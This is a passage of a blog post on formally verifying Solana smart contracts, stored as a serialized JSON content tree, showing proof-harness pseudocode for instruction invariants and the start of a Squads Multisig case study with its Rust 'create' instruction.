(",{"type":24,"tag":154,"props":23466,"children":23468},{"className":23467},[5642,5643],[23469],{"type":24,"tag":158,"props":23470,"children":23472},{"className":23471},[5648],[23473],{"type":24,"tag":158,"props":23474,"children":23476},{"className":23475,"ariaHidden":3185},[5653],[23477],{"type":24,"tag":158,"props":23478,"children":23480},{"className":23479},[5658],[23481,23485,23490],{"type":24,"tag":158,"props":23482,"children":23484},{"className":23483,"style":22827},[5663],[],{"type":24,"tag":158,"props":23486,"children":23488},{"className":23487,"style":22833},[5669,22832],[23489],{"type":29,"value":22836},{"type":24,"tag":158,"props":23491,"children":23493},{"className":23492},[5669],[23494],{"type":29,"value":5682},{"type":29,"value":23496},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":23498,"children":23499},{},[23500,23502],{"type":29,"value":23501},"So we are trying to prove that ",{"type":24,"tag":154,"props":23503,"children":23505},{"className":23504},[5642,5643],[23506],{"type":24,"tag":158,"props":23507,"children":23509},{"className":23508},[5648],[23510],{"type":24,"tag":158,"props":23511,"children":23513},{"className":23512,"ariaHidden":3185},[5653],[23514,23551,23583],{"type":24,"tag":158,"props":23515,"children":23517},{"className":23516},[5658],[23518,23522,23527,23532,23537,23541,23547],{"type":24,"tag":158,"props":23519,"children":23521},{"className":23520,"style":5771},[5663],[],{"type":24,"tag":158,"props":23523,"children":23525},{"className":23524},[22961],[23526],{"type":29,"value":504},{"type":24,"tag":158,"props":23528,"children":23530},{"className":23529,"style":22833},[5669,22832],[23531],{"type":29,"value":22836},{"type":24,"tag":158,"props":23533,"children":23535},{"className":23534},[5669],[23536],{"type":29,"value":5682},{"type":24,"tag":158,"props":23538,"children":23540},{"className":23539,"style":5751},[5750],[],{"type":24,"tag":158,"props":23542,"children":23544},{"className":23543},[5756],[23545],{"type":29,"value":23546},"∧",{"type":24,"tag":158,"props":23548,"children":23550},{"className":23549,"style":5751},[5750],[],{"type":24,"tag":158,"props":23552,"children":23554},{"className":23553},[5658],[23555,23559,23564,23569,23573,23579],{"type":24,"tag":158,"props":23556,"children":23558},{"className":23557,"style":5771},[5663],[],{"type":24,"tag":158,"props":23560,"children":23562},{"className":23561,"style":23364},[5669,22832],[23563],{"type":29,"value":23367},{"type":24,"tag":158,"props":23565,"children":23567},{"className":23566},[22983],[23568],{"type":29,"value":521},{"type":24,"tag":158,"props":23570,"children":23572},{"className":23571,"style":5848},[5750],[],{"type":24,"tag":158,"props":23574,"children":23576},{"className":23575},[5853],[23577],{"type":29,"value":23578},"→",{"type":24,"tag":158,"props":23580,"children":23582},{"className":23581,"style":5848},[5750],[],{"type":24,"tag":158,"props":23584,"children":23586},{"className":23585},[5658],[23587,23591,23596],{"type":24,"tag":158,"props":23588,"children":23590},{"className":23589,"style":22827},[5663],[],{"type":24,"tag":158,"props":23592,"children":23594},{"className":23593,"style":22833},[5669,22832],[23595],{"type":29,"value":22836},{"type":24,"tag":158,"props":23597,"children":23599},{"className":23598},[5669],[23600],{"type":29,"value":5672},{"type":24,"tag":25,"props":23602,"children":23603},{},[23604],{"type":29,"value":23605},"We can construct a proof harness like the following:",{"type":24,"tag":147,"props":23607,"children":23609},{"code":23608,"language":20703,"meta":7,"className":20704,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[23610],{"type":24,"tag":154,"props":23611,"children":23612},{"__ignoreMap":7},[23613,23621,23638],{"type":24,"tag":158,"props":23614,"children":23615},{"class":160,"line":161},[23616],{"type":24,"tag":158,"props":23617,"children":23618},{"style":188},[23619],{"type":29,"value":23620},"assume(P0)\n",{"type":24,"tag":158,"props":23622,"children":23623},{"class":160,"line":213},[23624,23629,23633],{"type":24,"tag":158,"props":23625,"children":23626},{"style":188},[23627],{"type":29,"value":23628},"res ",{"type":24,"tag":158,"props":23630,"children":23631},{"style":222},[23632],{"type":29,"value":1285},{"type":24,"tag":158,"props":23634,"children":23635},{"style":188},[23636],{"type":29,"value":23637}," instruction_handler(...)\n",{"type":24,"tag":158,"props":23639,"children":23640},{"class":160,"line":238},[23641,23645,23649,23654,23659,23664],{"type":24,"tag":158,"props":23642,"children":23643},{"style":1914},[23644],{"type":29,"value":21227},{"type":24,"tag":158,"props":23646,"children":23647},{"style":188},[23648],{"type":29,"value":504},{"type":24,"tag":158,"props":23650,"children":23652},{"style":23651},"--shiki-default:#F44747",[23653],{"type":29,"value":21865},{"type":24,"tag":158,"props":23655,"children":23656},{"style":188},[23657],{"type":29,"value":23658},"K ",{"type":24,"tag":158,"props":23660,"children":23661},{"style":23651},[23662],{"type":29,"value":23663},"||",{"type":24,"tag":158,"props":23665,"children":23666},{"style":188},[23667],{"type":29,"value":23668}," P1)\n",{"type":24,"tag":25,"props":23670,"children":23671},{},[23672],{"type":29,"value":23673},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":395,"props":23675,"children":23677},{"id":23676},"positive-instruction-invariant",[23678],{"type":29,"value":23679},"Positive instruction invariant",{"type":24,"tag":25,"props":23681,"children":23682},{},[23683,23685,23691,23693,23744],{"type":29,"value":23684},"Next we need to prove that ",{"type":24,"tag":154,"props":23686,"children":23688},{"className":23687},[],[23689],{"type":29,"value":23690},"success_if",{"type":29,"value":23692}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":154,"props":23694,"children":23696},{"className":23695},[5642,5643],[23697],{"type":24,"tag":158,"props":23698,"children":23700},{"className":23699},[5648],[23701],{"type":24,"tag":158,"props":23702,"children":23704},{"className":23703,"ariaHidden":3185},[5653],[23705,23731],{"type":24,"tag":158,"props":23706,"children":23708},{"className":23707},[5658],[23709,23713,23718,23722,23727],{"type":24,"tag":158,"props":23710,"children":23712},{"className":23711,"style":22827},[5663],[],{"type":24,"tag":158,"props":23714,"children":23716},{"className":23715,"style":23291},[5669,22832],[23717],{"type":29,"value":23294},{"type":24,"tag":158,"props":23719,"children":23721},{"className":23720,"style":5848},[5750],[],{"type":24,"tag":158,"props":23723,"children":23725},{"className":23724},[5853],[23726],{"type":29,"value":23578},{"type":24,"tag":158,"props":23728,"children":23730},{"className":23729,"style":5848},[5750],[],{"type":24,"tag":158,"props":23732,"children":23734},{"className":23733},[5658],[23735,23739],{"type":24,"tag":158,"props":23736,"children":23738},{"className":23737,"style":22827},[5663],[],{"type":24,"tag":158,"props":23740,"children":23742},{"className":23741,"style":23364},[5669,22832],[23743],{"type":29,"value":23367},{"type":29,"value":347},{"type":24,"tag":25,"props":23746,"children":23747},{},[23748],{"type":29,"value":23749},"Just like before we can construct a proof harness:",{"type":24,"tag":147,"props":23751,"children":23753},{"code":23752,"language":20703,"meta":7,"className":20704,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[23754],{"type":24,"tag":154,"props":23755,"children":23756},{"__ignoreMap":7},[23757,23765,23780],{"type":24,"tag":158,"props":23758,"children":23759},{"class":160,"line":161},[23760],{"type":24,"tag":158,"props":23761,"children":23762},{"style":188},[23763],{"type":29,"value":23764},"assume(S)\n",{"type":24,"tag":158,"props":23766,"children":23767},{"class":160,"line":213},[23768,23772,23776],{"type":24,"tag":158,"props":23769,"children":23770},{"style":188},[23771],{"type":29,"value":23628},{"type":24,"tag":158,"props":23773,"children":23774},{"style":222},[23775],{"type":29,"value":1285},{"type":24,"tag":158,"props":23777,"children":23778},{"style":188},[23779],{"type":29,"value":23637},{"type":24,"tag":158,"props":23781,"children":23782},{"class":160,"line":238},[23783,23787],{"type":24,"tag":158,"props":23784,"children":23785},{"style":1914},[23786],{"type":29,"value":21227},{"type":24,"tag":158,"props":23788,"children":23789},{"style":188},[23790],{"type":29,"value":23791},"(K)\n",{"type":24,"tag":25,"props":23793,"children":23794},{},[23795,23797,23802,23804,23816],{"type":29,"value":23796},"This proof assures that whenever ",{"type":24,"tag":154,"props":23798,"children":23800},{"className":23799},[],[23801],{"type":29,"value":21398},{"type":29,"value":23803}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":32,"props":23805,"children":23806},{},[23807,23809,23814],{"type":29,"value":23808},"even if ",{"type":24,"tag":154,"props":23810,"children":23812},{"className":23811},[],[23813],{"type":29,"value":21398},{"type":29,"value":23815}," is not satisfied",{"type":29,"value":23817},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":395,"props":23819,"children":23821},{"id":23820},"_3-negative-instruction-invariant",[23822],{"type":29,"value":23823},"3. Negative instruction invariant",{"type":24,"tag":25,"props":23825,"children":23826},{},[23827,23829,23834,23836,23892],{"type":29,"value":23828},"Finally, we want to prove that ",{"type":24,"tag":154,"props":23830,"children":23832},{"className":23831},[],[23833],{"type":29,"value":21405},{"type":29,"value":23835}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":154,"props":23837,"children":23839},{"className":23838},[5642,5643],[23840],{"type":24,"tag":158,"props":23841,"children":23843},{"className":23842},[5648],[23844],{"type":24,"tag":158,"props":23845,"children":23847},{"className":23846,"ariaHidden":3185},[5653],[23848,23874],{"type":24,"tag":158,"props":23849,"children":23851},{"className":23850},[5658],[23852,23856,23861,23865,23870],{"type":24,"tag":158,"props":23853,"children":23855},{"className":23854,"style":22827},[5663],[],{"type":24,"tag":158,"props":23857,"children":23859},{"className":23858,"style":23291},[5669,22832],[23860],{"type":29,"value":23329},{"type":24,"tag":158,"props":23862,"children":23864},{"className":23863,"style":5848},[5750],[],{"type":24,"tag":158,"props":23866,"children":23868},{"className":23867},[5853],[23869],{"type":29,"value":23578},{"type":24,"tag":158,"props":23871,"children":23873},{"className":23872,"style":5848},[5750],[],{"type":24,"tag":158,"props":23875,"children":23877},{"className":23876},[5658],[23878,23882,23887],{"type":24,"tag":158,"props":23879,"children":23881},{"className":23880,"style":22827},[5663],[],{"type":24,"tag":158,"props":23883,"children":23885},{"className":23884},[5669],[23886],{"type":29,"value":23425},{"type":24,"tag":158,"props":23888,"children":23890},{"className":23889,"style":23364},[5669,22832],[23891],{"type":29,"value":23367},{"type":29,"value":347},{"type":24,"tag":25,"props":23894,"children":23895},{},[23896],{"type":29,"value":23897},"This harness looks just like the previous one:",{"type":24,"tag":147,"props":23899,"children":23901},{"code":23900,"language":20703,"meta":7,"className":20704,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[23902],{"type":24,"tag":154,"props":23903,"children":23904},{"__ignoreMap":7},[23905,23913,23928],{"type":24,"tag":158,"props":23906,"children":23907},{"class":160,"line":161},[23908],{"type":24,"tag":158,"props":23909,"children":23910},{"style":188},[23911],{"type":29,"value":23912},"assume(E)\n",{"type":24,"tag":158,"props":23914,"children":23915},{"class":160,"line":213},[23916,23920,23924],{"type":24,"tag":158,"props":23917,"children":23918},{"style":188},[23919],{"type":29,"value":23628},{"type":24,"tag":158,"props":23921,"children":23922},{"style":222},[23923],{"type":29,"value":1285},{"type":24,"tag":158,"props":23925,"children":23926},{"style":188},[23927],{"type":29,"value":23637},{"type":24,"tag":158,"props":23929,"children":23930},{"class":160,"line":238},[23931,23935,23939,23943],{"type":24,"tag":158,"props":23932,"children":23933},{"style":1914},[23934],{"type":29,"value":21227},{"type":24,"tag":158,"props":23936,"children":23937},{"style":188},[23938],{"type":29,"value":504},{"type":24,"tag":158,"props":23940,"children":23941},{"style":23651},[23942],{"type":29,"value":21865},{"type":24,"tag":158,"props":23944,"children":23945},{"style":188},[23946],{"type":29,"value":23947},"K)\n",{"type":24,"tag":25,"props":23949,"children":23950},{},[23951,23953,23957],{"type":29,"value":23952},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":32,"props":23954,"children":23955},{},[23956],{"type":29,"value":17608},{"type":29,"value":23958}," the account invariants we expect are always being preserved.",{"type":24,"tag":59,"props":23960,"children":23962},{"id":23961},"case-study-squads-multisig",[23963],{"type":29,"value":23964},"Case study: Squads Multisig",{"type":24,"tag":25,"props":23966,"children":23967},{},[23968,23970,23975],{"type":29,"value":23969},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":101,"props":23971,"children":23973},{"href":20065,"rel":23972},[105],[23974],{"type":29,"value":20069},{"type":29,"value":347},{"type":24,"tag":25,"props":23977,"children":23978},{},[23979,23981,23987,23989,23995],{"type":29,"value":23980},"The program defines a Multisig account (",{"type":24,"tag":154,"props":23982,"children":23984},{"className":23983},[],[23985],{"type":29,"value":23986},"Ms",{"type":29,"value":23988},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":154,"props":23990,"children":23992},{"className":23991},[],[23993],{"type":29,"value":23994},"threshold",{"type":29,"value":23996}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":23998,"children":23999},{},[24000],{"type":29,"value":24001},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":24003,"children":24004},{},[24005],{"type":29,"value":24006},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":1786,"props":24008,"children":24009},{},[24010,24015,24020,24025],{"type":24,"tag":1790,"props":24011,"children":24012},{},[24013],{"type":29,"value":24014},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":1790,"props":24016,"children":24017},{},[24018],{"type":29,"value":24019},"Verify threshold requirements",{"type":24,"tag":1790,"props":24021,"children":24022},{},[24023],{"type":29,"value":24024},"Verify requirements to remove a member",{"type":24,"tag":1790,"props":24026,"children":24027},{},[24028],{"type":29,"value":24029},"Safety guarantees",{"type":24,"tag":395,"props":24031,"children":24033},{"id":24032},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24034],{"type":29,"value":24035},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":24037,"children":24038},{},[24039,24041,24046],{"type":29,"value":24040},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":154,"props":24042,"children":24044},{"className":24043},[],[24045],{"type":29,"value":21398},{"type":29,"value":24047}," expression.",{"type":24,"tag":25,"props":24049,"children":24050},{},[24051,24053,24058,24060,24066],{"type":29,"value":24052},"Creating a multisig (",{"type":24,"tag":154,"props":24054,"children":24056},{"className":24055},[],[24057],{"type":29,"value":23986},{"type":29,"value":24059},") requires invoking the ",{"type":24,"tag":154,"props":24061,"children":24063},{"className":24062},[],[24064],{"type":29,"value":24065},"create",{"type":29,"value":24067}," instruction:",{"type":24,"tag":147,"props":24069,"children":24071},{"code":24070,"language":150,"meta":7,"className":151,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[24072],{"type":24,"tag":154,"props":24073,"children":24074},{"__ignoreMap":7},[24075,24092,24147,24177,24185,24193,24210,24261,24311,24319,24360,24367,24383,24416,24458,24465,24472,24491,24519,24539,24559,24587,24606,24614,24642,24662,24682,24689,24697,24729,24752,24787,24795,24803,24812,24854,24887,24895,24903,24912,24988,25021,25029,25037,25074,25087,25100,25113,25167,25176],{"type":24,"tag":158,"props":24076,"children":24077},{"class":160,"line":161},[24078,24083,24088],{"type":24,"tag":158,"props":24079,"children":24080},{"style":188},[24081],{"type":29,"value":24082},"#[derive(",{"type":24,"tag":158,"props":24084,"children":24085},{"style":171},[24086],{"type":29,"value":24087},"Accounts",{"type":24,"tag":158,"props":24089,"children":24090},{"style":188},[24091],{"type":29,"value":21502},{"type":24,"tag":158,"props":24093,"children":24094},{"class":160,"line":213},[24095,24100,24104,24108,24113,24117,24121,24126,24130,24134,24138,24142],{"type":24,"tag":158,"props":24096,"children":24097},{"style":188},[24098],{"type":29,"value":24099},"#[instruction(threshold",{"type":24,"tag":158,"props":24101,"children":24102},{"style":222},[24103],{"type":29,"value":225},{"type":24,"tag":158,"props":24105,"children":24106},{"style":171},[24107],{"type":29,"value":22274},{"type":24,"tag":158,"props":24109,"children":24110},{"style":188},[24111],{"type":29,"value":24112},", create_key",{"type":24,"tag":158,"props":24114,"children":24115},{"style":222},[24116],{"type":29,"value":225},{"type":24,"tag":158,"props":24118,"children":24119},{"style":171},[24120],{"type":29,"value":22101},{"type":24,"tag":158,"props":24122,"children":24123},{"style":188},[24124],{"type":29,"value":24125},", members",{"type":24,"tag":158,"props":24127,"children":24128},{"style":222},[24129],{"type":29,"value":225},{"type":24,"tag":158,"props":24131,"children":24132},{"style":171},[24133],{"type":29,"value":22633},{"type":24,"tag":158,"props":24135,"children":24136},{"style":188},[24137],{"type":29,"value":3760},{"type":24,"tag":158,"props":24139,"children":24140},{"style":171},[24141],{"type":29,"value":22642},{"type":24,"tag":158,"props":24143,"children":24144},{"style":188},[24145],{"type":29,"value":24146},">)]\n",{"type":24,"tag":158,"props":24148,"children":24149},{"class":160,"line":238},[24150,24154,24158,24163,24168,24173],{"type":24,"tag":158,"props":24151,"children":24152},{"style":165},[24153],{"type":29,"value":14924},{"type":24,"tag":158,"props":24155,"children":24156},{"style":165},[24157],{"type":29,"value":22395},{"type":24,"tag":158,"props":24159,"children":24160},{"style":171},[24161],{"type":29,"value":24162}," Create",{"type":24,"tag":158,"props":24164,"children":24165},{"style":188},[24166],{"type":29,"value":24167},"\u003C'",{"type":24,"tag":158,"props":24169,"children":24170},{"style":171},[24171],{"type":29,"value":24172},"info",{"type":24,"tag":158,"props":24174,"children":24175},{"style":188},[24176],{"type":29,"value":8922},{"type":24,"tag":158,"props":24178,"children":24179},{"class":160,"line":259},[24180],{"type":24,"tag":158,"props":24181,"children":24182},{"style":188},[24183],{"type":29,"value":24184}," #[account(\n",{"type":24,"tag":158,"props":24186,"children":24187},{"class":160,"line":280},[24188],{"type":24,"tag":158,"props":24189,"children":24190},{"style":188},[24191],{"type":29,"value":24192}," init,\n",{"type":24,"tag":158,"props":24194,"children":24195},{"class":160,"line":301},[24196,24201,24205],{"type":24,"tag":158,"props":24197,"children":24198},{"style":188},[24199],{"type":29,"value":24200}," payer ",{"type":24,"tag":158,"props":24202,"children":24203},{"style":222},[24204],{"type":29,"value":1285},{"type":24,"tag":158,"props":24206,"children":24207},{"style":188},[24208],{"type":29,"value":24209}," creator,\n",{"type":24,"tag":158,"props":24211,"children":24212},{"class":160,"line":626},[24213,24218,24222,24226,24230,24235,24239,24244,24248,24252,24256],{"type":24,"tag":158,"props":24214,"children":24215},{"style":188},[24216],{"type":29,"value":24217}," space ",{"type":24,"tag":158,"props":24219,"children":24220},{"style":222},[24221],{"type":29,"value":1285},{"type":24,"tag":158,"props":24223,"children":24224},{"style":171},[24225],{"type":29,"value":22400},{"type":24,"tag":158,"props":24227,"children":24228},{"style":222},[24229],{"type":29,"value":2146},{"type":24,"tag":158,"props":24231,"children":24232},{"style":171},[24233],{"type":29,"value":24234},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":158,"props":24236,"children":24237},{"style":222},[24238],{"type":29,"value":2308},{"type":24,"tag":158,"props":24240,"children":24241},{"style":188},[24242],{"type":29,"value":24243}," (members",{"type":24,"tag":158,"props":24245,"children":24246},{"style":222},[24247],{"type":29,"value":347},{"type":24,"tag":158,"props":24249,"children":24250},{"style":188},[24251],{"type":29,"value":22265},{"type":24,"tag":158,"props":24253,"children":24254},{"style":222},[24255],{"type":29,"value":577},{"type":24,"tag":158,"props":24257,"children":24258},{"style":188},[24259],{"type":29,"value":24260}," 32),\n",{"type":24,"tag":158,"props":24262,"children":24263},{"class":160,"line":668},[24264,24269,24273,24278,24283,24287,24291,24296,24301,24306],{"type":24,"tag":158,"props":24265,"children":24266},{"style":188},[24267],{"type":29,"value":24268}," seeds ",{"type":24,"tag":158,"props":24270,"children":24271},{"style":222},[24272],{"type":29,"value":1285},{"type":24,"tag":158,"props":24274,"children":24275},{"style":188},[24276],{"type":29,"value":24277}," [",{"type":24,"tag":158,"props":24279,"children":24280},{"style":1108},[24281],{"type":29,"value":24282},"b\"squad\"",{"type":24,"tag":158,"props":24284,"children":24285},{"style":188},[24286],{"type":29,"value":24112},{"type":24,"tag":158,"props":24288,"children":24289},{"style":222},[24290],{"type":29,"value":347},{"type":24,"tag":158,"props":24292,"children":24293},{"style":188},[24294],{"type":29,"value":24295},"as_ref(), ",{"type":24,"tag":158,"props":24297,"children":24298},{"style":1108},[24299],{"type":29,"value":24300},"b\"multisig\"",{"type":24,"tag":158,"props":24302,"children":24303},{"style":188},[24304],{"type":29,"value":24305},"], ",{"type":24,"tag":158,"props":24307,"children":24308},{"style":177},[24309],{"type":29,"value":24310},"bump\n",{"type":24,"tag":158,"props":24312,"children":24313},{"class":160,"line":676},[24314],{"type":24,"tag":158,"props":24315,"children":24316},{"style":188},[24317],{"type":29,"value":24318}," )]\n",{"type":24,"tag":158,"props":24320,"children":24321},{"class":160,"line":684},[24322,24326,24331,24335,24340,24344,24348,24352,24356],{"type":24,"tag":158,"props":24323,"children":24324},{"style":165},[24325],{"type":29,"value":22087},{"type":24,"tag":158,"props":24327,"children":24328},{"style":177},[24329],{"type":29,"value":24330}," multisig",{"type":24,"tag":158,"props":24332,"children":24333},{"style":222},[24334],{"type":29,"value":225},{"type":24,"tag":158,"props":24336,"children":24337},{"style":171},[24338],{"type":29,"value":24339}," Account",{"type":24,"tag":158,"props":24341,"children":24342},{"style":188},[24343],{"type":29,"value":24167},{"type":24,"tag":158,"props":24345,"children":24346},{"style":171},[24347],{"type":29,"value":24172},{"type":24,"tag":158,"props":24349,"children":24350},{"style":188},[24351],{"type":29,"value":191},{"type":24,"tag":158,"props":24353,"children":24354},{"style":171},[24355],{"type":29,"value":23986},{"type":24,"tag":158,"props":24357,"children":24358},{"style":188},[24359],{"type":29,"value":7788},{"type":24,"tag":158,"props":24361,"children":24362},{"class":160,"line":700},[24363],{"type":24,"tag":158,"props":24364,"children":24365},{"emptyLinePlaceholder":16},[24366],{"type":29,"value":481},{"type":24,"tag":158,"props":24368,"children":24369},{"class":160,"line":785},[24370,24375,24379],{"type":24,"tag":158,"props":24371,"children":24372},{"style":188},[24373],{"type":29,"value":24374}," #[account(",{"type":24,"tag":158,"props":24376,"children":24377},{"style":165},[24378],{"type":29,"value":2169},{"type":24,"tag":158,"props":24380,"children":24381},{"style":188},[24382],{"type":29,"value":21502},{"type":24,"tag":158,"props":24384,"children":24385},{"class":160,"line":1447},[24386,24390,24395,24399,24404,24408,24412],{"type":24,"tag":158,"props":24387,"children":24388},{"style":165},[24389],{"type":29,"value":22087},{"type":24,"tag":158,"props":24391,"children":24392},{"style":177},[24393],{"type":29,"value":24394}," creator",{"type":24,"tag":158,"props":24396,"children":24397},{"style":222},[24398],{"type":29,"value":225},{"type":24,"tag":158,"props":24400,"children":24401},{"style":171},[24402],{"type":29,"value":24403}," Signer",{"type":24,"tag":158,"props":24405,"children":24406},{"style":188},[24407],{"type":29,"value":24167},{"type":24,"tag":158,"props":24409,"children":24410},{"style":171},[24411],{"type":29,"value":24172},{"type":24,"tag":158,"props":24413,"children":24414},{"style":188},[24415],{"type":29,"value":7788},{"type":24,"tag":158,"props":24417,"children":24418},{"class":160,"line":1509},[24419,24423,24428,24432,24437,24441,24445,24449,24454],{"type":24,"tag":158,"props":24420,"children":24421},{"style":165},[24422],{"type":29,"value":22087},{"type":24,"tag":158,"props":24424,"children":24425},{"style":177},[24426],{"type":29,"value":24427}," system_program",{"type":24,"tag":158,"props":24429,"children":24430},{"style":222},[24431],{"type":29,"value":225},{"type":24,"tag":158,"props":24433,"children":24434},{"style":171},[24435],{"type":29,"value":24436}," Program",{"type":24,"tag":158,"props":24438,"children":24439},{"style":188},[24440],{"type":29,"value":24167},{"type":24,"tag":158,"props":24442,"children":24443},{"style":171},[24444],{"type":29,"value":24172},{"type":24,"tag":158,"props":24446,"children":24447},{"style":188},[24448],{"type":29,"value":191},{"type":24,"tag":158,"props":24450,"children":24451},{"style":171},[24452],{"type":29,"value":24453},"System",{"type":24,"tag":158,"props":24455,"children":24456},{"style":188},[24457],{"type":29,"value":7788},{"type":24,"tag":158,"props":24459,"children":24460},{"class":160,"line":1527},[24461],{"type":24,"tag":158,"props":24462,"children":24463},{"style":188},[24464],{"type":29,"value":307},{"type":24,"tag":158,"props":24466,"children":24467},{"class":160,"line":1545},[24468],{"type":24,"tag":158,"props":24469,"children":24470},{"emptyLinePlaceholder":16},[24471],{"type":29,"value":481},{"type":24,"tag":158,"props":24473,"children":24474},{"class":160,"line":1618},[24475,24479,24483,24487],{"type":24,"tag":158,"props":24476,"children":24477},{"style":165},[24478],{"type":29,"value":14924},{"type":24,"tag":158,"props":24480,"children":24481},{"style":165},[24482],{"type":29,"value":14929},{"type":24,"tag":158,"props":24484,"children":24485},{"style":496},[24486],{"type":29,"value":8755},{"type":24,"tag":158,"props":24488,"children":24489},{"style":188},[24490],{"type":29,"value":2156},{"type":24,"tag":158,"props":24492,"children":24493},{"class":160,"line":1635},[24494,24498,24502,24506,24510,24515],{"type":24,"tag":158,"props":24495,"children":24496},{"style":177},[24497],{"type":29,"value":21467},{"type":24,"tag":158,"props":24499,"children":24500},{"style":222},[24501],{"type":29,"value":225},{"type":24,"tag":158,"props":24503,"children":24504},{"style":171},[24505],{"type":29,"value":21533},{"type":24,"tag":158,"props":24507,"children":24508},{"style":188},[24509],{"type":29,"value":3760},{"type":24,"tag":158,"props":24511,"children":24512},{"style":171},[24513],{"type":29,"value":24514},"Create",{"type":24,"tag":158,"props":24516,"children":24517},{"style":188},[24518],{"type":29,"value":7788},{"type":24,"tag":158,"props":24520,"children":24521},{"class":160,"line":1644},[24522,24527,24531,24535],{"type":24,"tag":158,"props":24523,"children":24524},{"style":177},[24525],{"type":29,"value":24526}," threshold",{"type":24,"tag":158,"props":24528,"children":24529},{"style":222},[24530],{"type":29,"value":225},{"type":24,"tag":158,"props":24532,"children":24533},{"style":171},[24534],{"type":29,"value":22274},{"type":24,"tag":158,"props":24536,"children":24537},{"style":188},[24538],{"type":29,"value":235},{"type":24,"tag":158,"props":24540,"children":24541},{"class":160,"line":1652},[24542,24547,24551,24555],{"type":24,"tag":158,"props":24543,"children":24544},{"style":177},[24545],{"type":29,"value":24546}," create_key",{"type":24,"tag":158,"props":24548,"children":24549},{"style":222},[24550],{"type":29,"value":225},{"type":24,"tag":158,"props":24552,"children":24553},{"style":171},[24554],{"type":29,"value":22101},{"type":24,"tag":158,"props":24556,"children":24557},{"style":188},[24558],{"type":29,"value":235},{"type":24,"tag":158,"props":24560,"children":24561},{"class":160,"line":1704},[24562,24567,24571,24575,24579,24583],{"type":24,"tag":158,"props":24563,"children":24564},{"style":177},[24565],{"type":29,"value":24566}," members",{"type":24,"tag":158,"props":24568,"children":24569},{"style":222},[24570],{"type":29,"value":225},{"type":24,"tag":158,"props":24572,"children":24573},{"style":171},[24574],{"type":29,"value":22633},{"type":24,"tag":158,"props":24576,"children":24577},{"style":188},[24578],{"type":29,"value":3760},{"type":24,"tag":158,"props":24580,"children":24581},{"style":171},[24582],{"type":29,"value":22642},{"type":24,"tag":158,"props":24584,"children":24585},{"style":188},[24586],{"type":29,"value":7788},{"type":24,"tag":158,"props":24588,"children":24589},{"class":160,"line":1713},[24590,24594,24598,24602],{"type":24,"tag":158,"props":24591,"children":24592},{"style":188},[24593],{"type":29,"value":723},{"type":24,"tag":158,"props":24595,"children":24596},{"style":222},[24597],{"type":29,"value":14991},{"type":24,"tag":158,"props":24599,"children":24600},{"style":171},[24601],{"type":29,"value":14996},{"type":24,"tag":158,"props":24603,"children":24604},{"style":188},[24605],{"type":29,"value":21575},{"type":24,"tag":158,"props":24607,"children":24608},{"class":160,"line":1731},[24609],{"type":24,"tag":158,"props":24610,"children":24611},{"style":2588},[24612],{"type":29,"value":24613}," // sort the members and remove duplicates\n",{"type":24,"tag":158,"props":24615,"children":24616},{"class":160,"line":5485},[24617,24621,24625,24630,24634,24638],{"type":24,"tag":158,"props":24618,"children":24619},{"style":165},[24620],{"type":29,"value":2710},{"type":24,"tag":158,"props":24622,"children":24623},{"style":165},[24624],{"type":29,"value":4676},{"type":24,"tag":158,"props":24626,"children":24627},{"style":177},[24628],{"type":29,"value":24629}," 